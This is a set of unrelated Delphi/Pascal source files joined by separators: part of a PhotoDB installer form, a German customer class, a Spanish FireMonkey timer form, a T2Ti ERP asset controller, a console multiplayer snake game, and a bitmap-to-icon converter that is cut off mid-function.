if ID_Yes <> TaskDialog(Handle, Format(L('Newer version (%s) is already installed! Do you want to install old version (%s)?'), [ReleaseToString(InstalledVersion), ReleaseToString(InstallVersion)]), L('Warning'), '', TD_BUTTON_YESNO, TD_ICON_WARNING) then
Exit;
end;
{$ENDIF}
FInstallType.PrepaireInstall;
Application.CreateForm(TFrmProgress, FrmProgress);
Hide;
FrmProgress.Show;
FrmProgress.Progress := 0;
TInstallThread.Create(Self);
end;
procedure TFrmMain.BtnNextClick(Sender: TObject);
begin
FInstallType.NextStep;
end;
procedure TFrmMain.BtnPreviousClick(Sender: TObject);
begin
FInstallType.PreviousStep;
end;
procedure TFrmMain.FormCreate(Sender: TObject);
var
hSemaphore: THandle;
begin
FrmProgress := nil;
hSemaphore := CreateSemaphore( nil, 0, 1, PWideChar(DBID));
if ((hSemaphore <> 0) and (GetLastError = ERROR_ALREADY_EXISTS)) then
TaskDialog(Handle, L('Program is started! Install will close the program during installation process!'), L('Warning'), '', TD_BUTTON_OK, TD_ICON_WARNING);
LoadMainImage;
LoadLanguage;
{$IFDEF INSTALL}
if IsApplicationInstalled then
FInstallType := TUpdatePreviousVersion.Create
else
FInstallType := TFreshInstall.Create;
{$ENDIF}
{$IFDEF UNINSTALL}
FInstallType := TUninstall_V3_X.Create;
{$ENDIF}
FInstallType.OnChange := StepsChanged;
FInstallType.Start(Self, 190, 5);
end;
procedure TFrmMain.FormDestroy(Sender: TObject);
begin
F(FInstallType);
end;
function TFrmMain.GetFormID: string;
begin
Result := 'Setup';
end;
procedure TFrmMain.LoadLanguage;
{$IFDEF INSTALL}
var
S: string;
{$ENDIF}
begin
BeginTranslate;
try
{$IFDEF INSTALL}
S := L('PhotoDB 4.6 Setup');
if IsApplicationInstalled then
S := S + ' (' + L('Update') + ' ' + ReleaseToString(InstallVersion) + ')';
Caption := S;
{$ENDIF}
{$IFDEF UNINSTALL}
Caption := L('PhotoDB 4.6 Uninstall');
{$ENDIF}
BtnCancel.Caption := L('Cancel');
BtnNext.Caption := L('Next');
BtnPrevious.Caption := L('Previous');
{$IFDEF INSTALL}
BtnInstall.Caption := L('Install');
{$ENDIF}
{$IFDEF UNINSTALL}
BtnInstall.Caption := L('Uninstall');
{$ENDIF}
LbWelcome.Caption := L('Welcome to the Photo Database 4.6');
finally
EndTranslate;
end;
end;
procedure TFrmMain.LoadMainImage;
var
MS: TMemoryStream;
Png: TPngImage;
begin
MS := TMemoryStream.Create;
try
GetRCDATAResourceStream('Image', MS);
Png := TPngImage.Create;
try
MS.Seek(0, soFromBeginning);
Png.LoadFromStream(MS);
ImMain.Picture.Graphic := Png;
finally
F(Png);
end;
finally
F(MS);
end;
end;
procedure TFrmMain.StepsChanged(Sender: TObject);
begin
BtnNext.Visible := not FInstallType.CanPrevious;
BtnNext.Enabled := FInstallType.CanNext;
BtnPrevious.Visible := FInstallType.CanPrevious;
BtnInstall.Enabled := FInstallType.CanInstall;
end;
function TFrmMain.UpdateProgress(Position, Total: Int64): Boolean;
begin
FrmProgress.Progress := Round((Position * 255) / Total);
Result := True;
end;
end.
|
unit OOPD2_Kunde;
interface
uses
Classes, SysUtils, Controls, oopd2_datensatz, oopd2_adresse;
type
TAnrede = (Frau, Herr, Dr, Prof, Dipl);
TKunde = class(TDatensatz)
private
iNummer: Integer;
sName: String;
enumAnrede: TAnrede;
dGeburtsdatum: TDateTime;
public
constructor Create(nummer: Integer; name: String; anrede: TAnrede; geburtstag: TDate);
destructor Free;
function getKundenNummer: Integer;
function formatKundenNummer(kundennummer:Integer): String;
function getName: String;
function getAnrede: String;
function setAnrede(anrede: TAnrede; anredeIndex: Integer): TAnrede;
function getAlter: String;
function getKundeZuAnschrift(anschrift: TAdresse): String;
end;
implementation
{ TKunde }
constructor TKunde.Create(nummer: Integer; name: String; anrede: TAnrede; geburtstag: TDate);
begin
inherited Create;
iNummer := nummer;
sName := name;
enumAnrede := anrede;
dGeburtsdatum := geburtstag;
end;
destructor TKunde.Free;
begin
end;
function TKunde.getKundenNummer: Integer;
begin
Result := iNummer;
end;
function TKunde.formatKundenNummer(kundennummer:Integer): String;
var
sKundenNummer: String;
begin
sKundenNummer := IntToStr(kundennummer);
if length(sKundenNummer) < 2 then
sKundenNummer := '000' + sKundenNummer
else if length(sKundenNummer) < 3 then
sKundenNummer := '00' + sKundenNummer
else if length(sKundenNummer) < 4 then
sKundenNummer := '0' + sKundenNummer;
Result := sKundenNummer
end;
function TKunde.getName: String;
begin
Result := sName;
end;
function TKunde.getAnrede: String;
begin
case enumAnrede of
Frau: Result := 'Frau';
Herr: Result := 'Herr';
Dr: Result := 'Dr.';
Prof: Result := 'Prof.';
Dipl: Result := 'Dipl.';
end;
end;
function TKunde.setAnrede(anrede: TAnrede; anredeIndex: Integer): TAnrede;
begin
case anredeIndex of
0: anrede := Frau;
1: anrede := Herr;
2: anrede := Dr;
3: anrede := Prof;
4: anrede := Dipl;
end;
Result := anrede;
end;
function TKunde.getAlter: String;
begin
Result := DateToStr(dGeburtsdatum);
end;
function TKunde.getKundeZuAnschrift(anschrift: TAdresse): String;
begin
Result := anschrift.getStrasse;
end;
end.
|
unit fSeleccionarContador;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.StdCtrls,
FMX.Objects, FMX.Controls.Presentation, FMX.Edit, DPF.iOS.BarCodeReader,
DPF.iOS.Keyboard, DPF.iOS.SlideDialog, DPF.iOS.UISearchBar,
DPF.iOS.BaseControl, DPF.iOS.UIStepper, FMX.EditBox, FMX.ComboTrackBar,
FMX.TMSScrollMenu, FMX.TMSBaseControl, FMX.TMSBadge, FMX.TMSTableView,
FMX.TMSTableViewEx, FMX.TMSCustomButton, FMX.TMSSpeedButton, FMX.TMSSpinner;
type
TfrmSeleccionarContador = class(TForm)
tbMain: TToolBar;
recFondoToolBar: TRectangle;
lblTitulo: TLabel;
sbtRegresar: TSpeedButton;
sbtGuardar: TSpeedButton;
edDescripcion: TEdit;
Tiempo: TLabel;
spi: TTMSFMXSpinner;
procedure spiSelectedValueChanged(Sender: TObject; Column: Integer;
SelectedValue: Double; RangeType: TTMSFMXSpinnerRangeType);
procedure sbtGuardarClick(Sender: TObject);
private
FSegundos: integer;
FMinutos: integer;
FHoras: integer;
FTotalSegundos: integer;
procedure CalcularSegundos;
function getDescripcion: string;
public
constructor Create(AOwner:TComponent); override;
destructor Destroy; override;
property TotalSegundos:integer read FTotalSegundos;
property Horas:integer read FHoras;
property Minutos:integer read FMinutos;
property Segundos:integer read FSegundos;
property Descripcion:string read getDescripcion;
end;
var
frmSeleccionarContador: TfrmSeleccionarContador;
implementation
{$R *.fmx}
{ TfrmSeleccionarContador }
procedure TfrmSeleccionarContador.CalcularSegundos;
var
iHoras, iMinutos, iTotal:Integer;
begin
FHoras := Round(spi.Columns[0].SelectedValue);
FMinutos := Round(spi.Columns[1].SelectedValue);
FSegundos := Round(spi.Columns[2].SelectedValue);
iHoras := FHoras * 60 * 60;
iMinutos := FMinutos * 60;
iTotal := iHoras + iMinutos + FSegundos;
FTotalSegundos := iTotal;
{$ifdef debug}
lblTitulo.Text := IntToStr(FTotalSegundos);
{$endif}
end;
constructor TfrmSeleccionarContador.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
end;
destructor TfrmSeleccionarContador.Destroy;
begin
inherited Destroy;
end;
function TfrmSeleccionarContador.getDescripcion: string;
begin
if edDescripcion.Text.Length = 0 then
Result := 'Contador'
else
Result := edDescripcion.Text;
end;
procedure TfrmSeleccionarContador.sbtGuardarClick(Sender: TObject);
begin
CalcularSegundos;
if TotalSegundos > 0 then
ModalResult := mrOk;
end;
procedure TfrmSeleccionarContador.spiSelectedValueChanged(Sender: TObject;
Column: Integer; SelectedValue: Double; RangeType: TTMSFMXSpinnerRangeType);
begin
CalcularSegundos;
end;
end.
|
{*******************************************************************************
Title: T2Ti ERP
Description: Controller do lado Cliente relacionado à tabela [PATRIM_BEM]
The MIT License
Copyright: Copyright (C) 2016 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com
@author Albert Eije (t2ti.com@gmail.com)
@version 2.0
*******************************************************************************}
unit PatrimBemController;
{$MODE Delphi}
interface
uses
Classes, Dialogs, SysUtils, DB, LCLIntf, LCLType, LMessages, Forms, Controller,
VO, ZDataset, PatrimBemVO;
type
TPatrimBemController = class(TController)
private
public
class function Consulta(pFiltro: String; pPagina: String): TZQuery;
class function ConsultaLista(pFiltro: String): TListaPatrimBemVO;
class function ConsultaObjeto(pFiltro: String): TPatrimBemVO;
class procedure Insere(pObjeto: TPatrimBemVO);
class function Altera(pObjeto: TPatrimBemVO): Boolean;
class function Exclui(pId: Integer): Boolean;
end;
implementation
uses UDataModule, T2TiORM, PatrimDocumentoBemVO, PatrimDepreciacaoBemVO, PatrimMovimentacaoBemVO;
var
ObjetoLocal: TPatrimBemVO;
class function TPatrimBemController.Consulta(pFiltro: String; pPagina: String): TZQuery;
begin
try
ObjetoLocal := TPatrimBemVO.Create;
Result := TT2TiORM.Consultar(ObjetoLocal, pFiltro, pPagina);
finally
ObjetoLocal.Free;
end;
end;
class function TPatrimBemController.ConsultaLista(pFiltro: String): TListaPatrimBemVO;
begin
try
ObjetoLocal := TPatrimBemVO.Create;
Result := TListaPatrimBemVO(TT2TiORM.Consultar(ObjetoLocal, pFiltro, True));
finally
ObjetoLocal.Free;
end;
end;
class function TPatrimBemController.ConsultaObjeto(pFiltro: String): TPatrimBemVO;
begin
try
Result := TPatrimBemVO.Create;
Result := TPatrimBemVO(TT2TiORM.ConsultarUmObjeto(Result, pFiltro, True));
Filtro := 'ID_PATRIM_BEM = ' + IntToStr(Result.Id);
// Objetos Vinculados
// Listas
Result.ListaPatrimDocumentoBemVO := TListaPatrimDocumentoBemVO(TT2TiORM.Consultar(TPatrimDocumentoBemVO.Create, Filtro, True));
Result.ListaPatrimDepreciacaoBemVO := TListaPatrimDepreciacaoBemVO(TT2TiORM.Consultar(TPatrimDepreciacaoBemVO.Create, Filtro, True));
Result.ListaPatrimMovimentacaoBemVO := TListaPatrimMovimentacaoBemVO(TT2TiORM.Consultar(TPatrimMovimentacaoBemVO.Create, Filtro, True));
finally
end;
end;
class procedure TPatrimBemController.Insere(pObjeto: TPatrimBemVO);
var
UltimoID, I: Integer;
DocumentoBem: TPatrimDocumentoBemVO;
DepreciacaoBem: TPatrimDepreciacaoBemVO;
MovimentacaoBem: TPatrimMovimentacaoBemVO;
begin
try
UltimoID := TT2TiORM.Inserir(pObjeto);
// Documento
for I := 0 to pObjeto.ListaPatrimDocumentoBemVO.Count - 1 do
begin
DocumentoBem := pObjeto.ListaPatrimDocumentoBemVO[I];
DocumentoBem.IdPatrimBem := UltimoID;
TT2TiORM.Inserir(DocumentoBem);
end;
// Depreciação
for I := 0 to pObjeto.ListaPatrimDepreciacaoBemVO.Count - 1 do
begin
DepreciacaoBem := pObjeto.ListaPatrimDepreciacaoBemVO[I];
DepreciacaoBem.IdPatrimBem := UltimoID;
TT2TiORM.Inserir(DepreciacaoBem);
end;
// Movimentação
for I := 0 to pObjeto.ListaPatrimMovimentacaoBemVO.Count - 1 do
begin
MovimentacaoBem := pObjeto.ListaPatrimMovimentacaoBemVO[I];
MovimentacaoBem.IdPatrimBem := UltimoID;
TT2TiORM.Inserir(MovimentacaoBem);
end;
Consulta('ID = ' + IntToStr(UltimoID), '0');
finally
end;
end;
class function TPatrimBemController.Altera(pObjeto: TPatrimBemVO): Boolean;
var
UltimoID, I: Integer;
DocumentoBem: TPatrimDocumentoBemVO;
DepreciacaoBem: TPatrimDepreciacaoBemVO;
MovimentacaoBem: TPatrimMovimentacaoBemVO;
begin
try
Result := TT2TiORM.Alterar(pObjeto);
// Documento
for I := 0 to pObjeto.ListaPatrimDocumentoBemVO.Count - 1 do
begin
DocumentoBem := pObjeto.ListaPatrimDocumentoBemVO[I];
if DocumentoBem.Id > 0 then
Result := TT2TiORM.Alterar(DocumentoBem)
else
begin
DocumentoBem.IdPatrimBem := pObjeto.Id;
Result := TT2TiORM.Inserir(DocumentoBem) > 0;
end;
end;
// Depreciação
for I := 0 to pObjeto.ListaPatrimDepreciacaoBemVO.Count - 1 do
begin
DepreciacaoBem := pObjeto.ListaPatrimDepreciacaoBemVO[I];
if DepreciacaoBem.Id > 0 then
Result := TT2TiORM.Alterar(DepreciacaoBem)
else
begin
DepreciacaoBem.IdPatrimBem := pObjeto.Id;
Result := TT2TiORM.Inserir(DepreciacaoBem) > 0;
end;
end;
// Movimentação
for I := 0 to pObjeto.ListaPatrimMovimentacaoBemVO.Count - 1 do
begin
MovimentacaoBem := pObjeto.ListaPatrimMovimentacaoBemVO[I];
if MovimentacaoBem.Id > 0 then
Result := TT2TiORM.Alterar(MovimentacaoBem)
else
begin
MovimentacaoBem.IdPatrimBem := pObjeto.Id;
Result := TT2TiORM.Inserir(MovimentacaoBem) > 0;
end;
end;
finally
end;
end;
class function TPatrimBemController.Exclui(pId: Integer): Boolean;
var
ObjetoLocal: TPatrimBemVO;
begin
try
ObjetoLocal := TPatrimBemVO.Create;
ObjetoLocal.Id := pId;
Result := TT2TiORM.Excluir(ObjetoLocal);
finally
FreeAndNil(ObjetoLocal)
end;
end;
initialization
Classes.RegisterClass(TPatrimBemController);
finalization
Classes.UnRegisterClass(TPatrimBemController);
end.
|
program MultiPlayerSnake;
uses crt, sysutils;
//if you want to setup board anywhere on the screen, note this:
//widthStart + width <=110 ; default:91
//heightStart + height <=30 ; default:28
//(widthStart,Heightstart) is the position of the top left corner of the board
const width = 90;
height = 24;
widthStart = 4;
heightStart = 6;
Type
dir = (up,down,left,right);
positionRec = record
X,Y : byte;
End;
snakeRec = record
direction : dir;
head : positionRec;
length : integer;
tail : array [1..100] of positionRec;
colour : byte;
headChar, tailChar : char;
dead : boolean;
end;
foodRec = record
position : positionRec;
prevPosition : positionRec;
exists : Boolean;
end;
Var
snake : array [1..2] of snakeRec;
allDead :byte;
food : foodRec;
gameMode:string;
gameSpeed:integer=70; (*Default speed*)
player1color:integer=7; (*Default color (WHITE)*)
player2color:integer=3; (*Default color (SKY BLUE)*)
Function randomPosition : positionRec;
//Returns a new random position on the board
var position : positionRec;
playerNo : Byte;
tailNo : Integer;
validPosition : boolean;
begin
repeat
validPosition := true;
position.X := random(width-3)+2;
position.Y := random(height-3)+2;
//Collision with snake/s check
for playerNo := 1 To 2 Do //Needs to be changed with max no of players
begin
if (position.X =snake[playerNo].head.X) and
(position.Y = snake[playerNo].head.Y)
then validPosition :=false;
for tailNo := 1 To snake[playerNo].length Do
If (position.X = snake[playerNo].tail[tailNo].X) AND
(position.Y = snake[playerNo].tail[tailNo].Y)
then validPosition := false;
end;
until validPosition = true;
randomPosition := position;
end;
Procedure initSnakes(var numberOfPlayers : byte);
var playerNo : byte;
begin
snake[1].head.X := (width div 3)*2+2;
snake[2].head.X := (width div 3);
for playerNo := 1 To numberOfPlayers Do
begin
snake[playerNo].head.Y := heightStart+1;
snake[playerNo].direction := down;
snake[playerNo].length := 2;
snake[playerNo].tail[1].X := snake[playerNo].head.X;
snake[playerNo].tail[1].Y := 5;
snake[playerNo].dead := false;
end;
end;
Procedure drawSnake(playerNo : byte);
var Count : Integer;
begin
cursoroff;
textcolor(Snake[PlayerNo].Colour);
gotoXY(widthStart+snake[playerNo].Head.X,heightStart+Snake[playerNo].head.Y);
write(snake[playerNo].headChar);
for count := snake[playerNo].length-1 downTo 1 do begin
gotoXY(widthStart+snake[playerNo].tail[count].X,heightStart+snake[playerNo].tail[count].Y);
write(snake[playerNo].tailChar);
end;
{Remove end tail}
If snake[playerNo].Tail[snake[playerNo].length].X > 0 Then {If tail exists}
begin gotoXY(widthStart+snake[playerNo].tail[snake[playerNo].length].X,heightStart+snake[playerNo].Tail[Snake[PlayerNo].Length].Y);
Write(' ');
End;
End;
Function snakeCollision(var playerNo : Byte) : boolean;
var
Count : Integer;
//other:integer;
begin
{self collision}
for count := snake[playerNo].Length+2 downto 1 do
If (snake[playerNo].tail[count].X = snake[playerNo].head.X) and
(snake[playerNo].tail[count].Y = snake[playerNo].head.Y)
then exit(true);
{Player 1 collision with player 2}
If PlayerNo = 1 Then
Begin
For Count := Snake[PlayerNo].Length+2 Downto 1 Do
If (Snake[2].Tail[Count].X = Snake[1].Head.X) AND
(Snake[2].Tail[Count].Y = Snake[1].Head.Y)
then exit(true);
end;
{Player 2 collision with player 1}
If PlayerNo = 2 Then
Begin
For Count := Snake[1].Length+2 Downto 1 Do
If (Snake[1].Tail[Count].X = Snake[2].Head.X) AND
(Snake[1].Tail[Count].Y = Snake[2].Head.Y)
then exit(true);
end;
exit(false);
end;
function collision(playerNo : byte) : boolean;
begin
exit ((snake[playerNo].head.X = width) or
(snake[playerNo].head.X=0) or
(snake[playerNo].head.Y=height) or
(snake[playerNo].head.Y=0)or
(snakeCollision(playerNo) = true));
end;
Procedure moveSnake(playerNo : byte);
var count : integer;
begin
cursoroff;
for count := snake[playerNo].length downto 2 do begin
snake[playerNo].Tail[count] := snake[playerNo].tail[count-1]
end;
snake[playerNo].Tail[1] := snake[playerNo].head;
case snake[playerNo].direction of
right : snake[playerNo].head.X := snake[playerNo].head.X+1;
left : snake[playerNo].head.X := snake[playerNo].head.X-1;
up : snake[playerNo].head.Y := snake[playerNo].head.Y-1;
down : snake[playerNo].head.Y := snake[playerNo].head.Y+1;
end;
end;
Procedure placefood;
Begin
textcolor(12);
If food.exists = True Then
If (food.position.X > 0) Or (Food.Position.Y > 0) then begin
goToXY(widthStart+Food.Position.X,heightStart+Food.Position.Y);
textColor(lightcyan);
write(Chr(149));
delay(100);
gotoXY(widthStart+Food.Position.X,heightStart+Food.Position.Y);
write(' ');
end;
food.position := RandomPosition;
gotoXY(widthStart+Food.Position.X,heightStart+Food.Position.Y);
textColor(lightcyan);
write(chr(149)); //writes a bigger dot
food.exists := true;
end;
Procedure doFood(numberOfPlayers : Byte);
var Count : Integer;
begin
if not food.exists Then placefood;
{Check if food's been eaten}
for count := 1 To numberOfPlayers do begin
If (snake[count].head.X = food.position.X) and
(snake[count].head.Y = food.position.Y) then begin
food.exists := false;
snake[count].length := snake[count].length+1;
end;
end;
end;
procedure SetUpGame(numberOfPlayers : Byte);
begin
food.exists := false;
allDead := 0;
initSnakes(numberOfPlayers);
end;
Procedure GameOver(numberOfPlayers : byte);
Var PlayerNo : Byte;
Begin
if snake[1].Length > Snake[2].length Then playerNo := 1;
if snake[1].Length < Snake[2].length Then playerNo := 2;
if snake[1].length = Snake[2].length Then playerNo := 3;
gotoXY(widthStart+4,heightStart+3);
textColor(12);
write(' GAME OVER! ');
//Single player score message
If numberOfPlayers = 1 then begin
textColor(Snake[1].Colour);
write('Score: ',Snake[1].Length-2,' ');
end;
//Two player score message
If numberOfPlayers = 2 then begin
If playerNo = 3 Then //If it's a draw
Write('It was a draw! ')
else begin //If not a draw
textColor(Snake[PlayerNo].Colour);
write('Player ',PlayerNo,' ');
textColor(12);
write('wins! ');
goToXY(widthStart+5,heightStart+4);
textcolor(snake[1].colour);
writeln('Player 1 Length:',snake[1].length-2);
goToXY(widthStart+5,heightStart+5);
textcolor(snake[2].colour);
writeln('Player 2 Length:', snake[2].length-2);
end;
end;
gotoxy(widthstart,heightstart+height+1);
halt;
end;
Procedure PlayGame(numberOfPlayers : Byte);
Var
playerNo,playerNo2 : Byte;
k:char; //keypressed
Begin
repeat
doFood(numberOfPlayers);
delay(gameSpeed);
If Keypressed then k := readkey;
Case k of
//Upper and Lower case WASD
'w', 'W' : if Snake[2].direction <> down then Snake[2].Direction := up;
's', 'S' : if Snake[2].direction <> up then Snake[2].Direction := down;
'a', 'A' : if Snake[2].direction <> right then Snake[2].Direction := left;
'd', 'D' : if Snake[2].direction <> left then Snake[2].Direction := right;
//Arrow keys
#0 : Begin
k := Readkey;
Case k of
#72 : if Snake[1].direction <> down then Snake[1].direction := up;
#80 : if Snake[1].direction <> up then Snake[1].direction := down;
#75 : if Snake[1].direction <> right then Snake[1].direction := left;
#77 : if Snake[1].direction <> left then Snake[1].direction := right;
end;
end
end;
For playerNo := 1 To numberOfPlayers Do
begin
if snake[PlayerNo].dead = false Then
begin
moveSnake(playerNo);
if (collision(playerNo)) then
begin
snake[playerNo].dead := true;
allDead := allDead+1;
end
else drawSnake(playerNo);
end;
end;
if numberOfPlayers > 1 then
if allDead = numberOfPlayers-1 then
for PlayerNo := 1 to numberOfPlayers do
if snake[PlayerNo].dead = false then
for playerNo2 := 1 to numberOfPlayers do
if snake[playerNo].length > snake[playerNo2].length Then
allDead := numberOfPlayers;
until allDead = numberOfPlayers;
gameOver(numberOfPlayers);
end;
procedure resetSnake(SnakeNo : Byte);
begin
case snakeNo Of
1 : snake[snakeNo].colour := player1color;
2 : snake[snakeNo].colour := player2color;
end;
snake[snakeNo].headChar := 'O';
snake[snakeNo].tailChar := 'x';
end;
procedure initOptions;
begin
resetSnake(1);
resetSnake(2);
end;
procedure generateoutline;
var
x:integer;
begin
gotoxy(widthstart,heightstart);
for x:=1 to (width div 2) do
write('.x');
gotoxy(widthstart,height+heightStart);
for x:=1 to (width div 2) do
write('.x');
for x:=1 to (height-1) do begin
gotoxy(widthStart,heightstart+x);
writeln('x');
end;
for x:=1 to (height-1) do begin
gotoxy(widthstart+width,heightstart+x);
write('x');
end;
end;
procedure movestartscreen(var a:integer);
var
b,p:integer;
begin
textcolor(yellow);
a+=1;
b:=a;
if a=79 then a:=1; (*79+length(multiplayer snake game)=100*)
gotoxy(a,12); (*multiplayer snake game is in the 12th row*)
write('MUTIPLAYER SNAKE GAME');
gotoxy(a,13); (*press enter is in the 13th row*)
write('PRESS ANY KEY TO BEGIN');
if a<>1 then begin
gotoxy(a-1,12);
write(' ');
gotoxy(a-1,13);
write(' ');
end;
if b=79 then begin
for p:=b to 100 do begin (*100 being the total width*)
gotoxy(p-1,12);
write(' ');
gotoxy(p-1,13);
write(' ');
end;
end;
cursoroff;
end;
procedure startscreen; // The first screen to appear
var
a: integer=2; //for moving the 'press enter' statements
coolProject:array [0..10]of string=('C','O','O','L','P','R','O','J','E','C','T');
begin // Begin startscreen
repeat // Begin finding random spot
randomize;
movestartscreen(a);
textcolor(green);
gotoxy(random(100)+1,random(27)+1);
write (coolProject[random(11)]);
gotoxy(random(100)+1,random(27)+1);
write(chr(random(128)+128));
delay(100);
until keypressed // End print
end; // End startscreen
procedure mainMenu;
var
inp:string; (*input for game modes (1,2,3,4 or 5*)
colinp,spinp:string; (*input for color setting*)
begin
repeat
clrscr;
textcolor(white);
gotoxy(1,40);
writeln('Welcome to the Snake game');
gotoxy(1,2);
writeln();
textcolor(white);
writeln('1. Single Player Mode');
writeln('2. Multi-Player Mode');
writeln('3. Exit');
writeln('Select an option(type 1,2,3)');
cursoron;
readln(gamemode);
if gamemode='3' then exit;
if gamemode='1' then exit;
until (gamemode='2');
repeat
clrscr;
textcolor(white);
gotoxy(40,5);
writeln('Speed and Skin Colors');
gotoxy(10,10);
textcolor(yellow);
writeln('Player 1');
gotoxy(10,12);
textcolor(7);
writeln('1.Speed = ',gameSpeed);
gotoxy(10,15);
textcolor(player1color);
write('2.ooooooo');
gotoxy(80,10);
textcolor(yellow);
writeln('player 2');
gotoxy(80,12);
textcolor(7);
writeln('3.Speed = ',gameSpeed);
gotoxy(80,15);
textcolor(player2color);
write('4.xxxxxO');
gotoxy(1,17);
textcolor(7);
writeln('Press 1,2,3 or 4 to change settings. Press 5 to begin');
cursoron;
repeat
readln(inp);
until (inp='1') or (inp='2') or (inp='3') or (inp='4') or (inp='5');
if (inp='2') or (inp='4') then begin
writeln('1. Blue');
writeln('2.Green');
writeln('3.Cyan');
writeln('4.Red');
writeln('5.Magneta');
writeln('Enter a number (1..5)');
repeat
readln(colinp);
until (colinp='1') or (colinp='2') or (colinp='3') or (colinp='4') or (colinp='5');
if inp='2' then player1color:=strtoint(colinp)
else player2color:=strtoint(colinp);
end
else if (inp='1') or (inp='3') then
begin
writeln('1. Hard (speed=40)');
writeln('2. Medium (speed=100)');
writeln('3. Easy (speed=140)');
repeat
readln(spInp); (*for color*)
until (spInp='1') or (spInp='2') or (spInp='3');
if spinp='1' then gameSpeed:=40
else if spinp='2'then gameSpeed:=100
else gameSpeed:=140;
end;
until (inp='5') or (gameMode='1');
end;
Begin
randomize;
clrscr;
startscreen;
mainMenu;
initOptions;
case gameMode of
'1' : begin clrscr; generateoutline; setUpGame(1); playGame(1); end;
'2' : begin clrscr; generateoutline; setUpGame(2); playGame(2); end;
'3' : exit;
end;
end.
|
unit uBMPtoICO;
interface
uses
Windows, Graphics, litegifX2;
function BMPToICO(SourceBMP: TBitMap): TIcon;forward;
function GIFToICO(SourceGIF: TGif; FrameNumber: integer): TIcon;forward;
implementation
//Нужно создать два bitmap'а: bitmap-маску ("AND" bitmap) и
//bitmap-картинку (XOR bitmap). Потом передать дескрипторы "AND" и "XOR"
//bitmap-ов API функции CreateIconIndirect():
function BMPToICO(SourceBMP: TBitMap): TIcon;
var
IconSizeX: integer;
IconSizeY: integer;
AndMask: TBitmap;
XOrMask: TBitmap;
IconInfo: TIconInfo;
//Icon: TIcon;
begin
{Get the icon size}
IconSizeX := GetSystemMetrics(SM_CXICON);
IconSizeY := GetSystemMetrics(SM_CYICON);
{Create the "And" mask}
AndMask := TBitmap.Create;
AndMask.Monochrome := true;
AndMask.Width := IconSizeX;
AndMask.Height := IconSizeY;
{Draw on the "And" mask}
// AndMask.Canvas.Brush.Color := clWhite;
// AndMask.Canvas.Brush.Color := SourceBMP.TransparentColor;
// AndMask.TransparentColor := SourceBMP.TransparentColor;
// AndMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
// AndMask.Canvas.Brush.Color := clBlack;
// AndMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);
AndMask.Assign(SourceBMP);
{Draw as a test}
// Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);
{Create the "XOr" mask}
XOrMask := TBitmap.Create;
XOrMask.Width := IconSizeX;
XOrMask.Height := IconSizeY;
{Draw on the "XOr" mask}
XOrMask.Canvas.Brush.Color := ClBlack;
// XOrMask.Canvas.Brush.Color := SourceBMP.TransparentColor;
// XOrMask.TransparentColor := SourceBMP.TransparentColor;
// XOrMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
// XOrMask.Canvas.Pen.Color := clRed;
// XOrMask.Canvas.Brush.Color := clRed;
// XOrMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);
XOrMask.Assign(SourceBMP);
{Draw as a test}
// Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);
{Create a icon}
Result := TIcon.Create;
IconInfo.fIcon := true;
IconInfo.xHotspot := 0;
IconInfo.yHotspot := 0;
IconInfo.hbmMask := AndMask.Handle;
IconInfo.hbmColor := XOrMask.Handle;
Result.Handle := CreateIconIndirect(IconInfo);
{Destroy the temporary bitmaps}
AndMask.Free;
XOrMask.Free;
{Draw as a test}
//Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);
{Assign the application icon}
//Application.Icon := Icon;
{Force a repaint}
//InvalidateRect(Application.Handle, nil, true);
{Free the icon}
// Result := Icon;
end;
function GIFToICO(SourceGIF: TGif; FrameNumber: integer): TIcon;
var
IconSizeX: integer;
IconSizeY: integer;
AndMask: TBitmap;
XOrMask: TBitmap;
IconInfo: TIconInfo;
Mask: TBitmap;
TempB: TBitmap;
begin
{Get the icon size}
IconSizeX := GetSystemMetrics(SM_CXICON);
IconSizeY := GetSystemMetrics(SM_CYICON);
{Create the "And" mask}
AndMask := TBitmap.Create;
//Mask := TBitmap.Create; - утечка
AndMask.Monochrome := true;
AndMask.Width := IconSizeX;
AndMask.Height := IconSizeY;
{Draw on the "And" mask}
// AndMask.Canvas.Brush.Color := clWhite;
//Mask.Assign(SourceGIF.Bitmap[FrameNumber]); - лишнее
TempB := SourceGIF.GetStripBitmap(Mask);
TempB.Free; //функция создает картинку, которая нам не нужна
AndMask.Assign(Mask);
{Draw as a test}
// Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);
{Create the "XOr" mask}
XOrMask := TBitmap.Create;
XOrMask.Width := IconSizeX;
XOrMask.Height := IconSizeY;
{Draw on the "XOr" mask}
XOrMask.Canvas.Brush.Color := ClBlack;
XOrMask.Assign(SourceGIF.Bitmap[FrameNumber]);
{Draw as a test}
// Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);
{Create a icon}
Result := TIcon.Create;
IconInfo.fIcon := true;
IconInfo.xHotspot := 0;
IconInfo.yHotspot := 0;
IconInfo.hbmMask := AndMask.Handle;
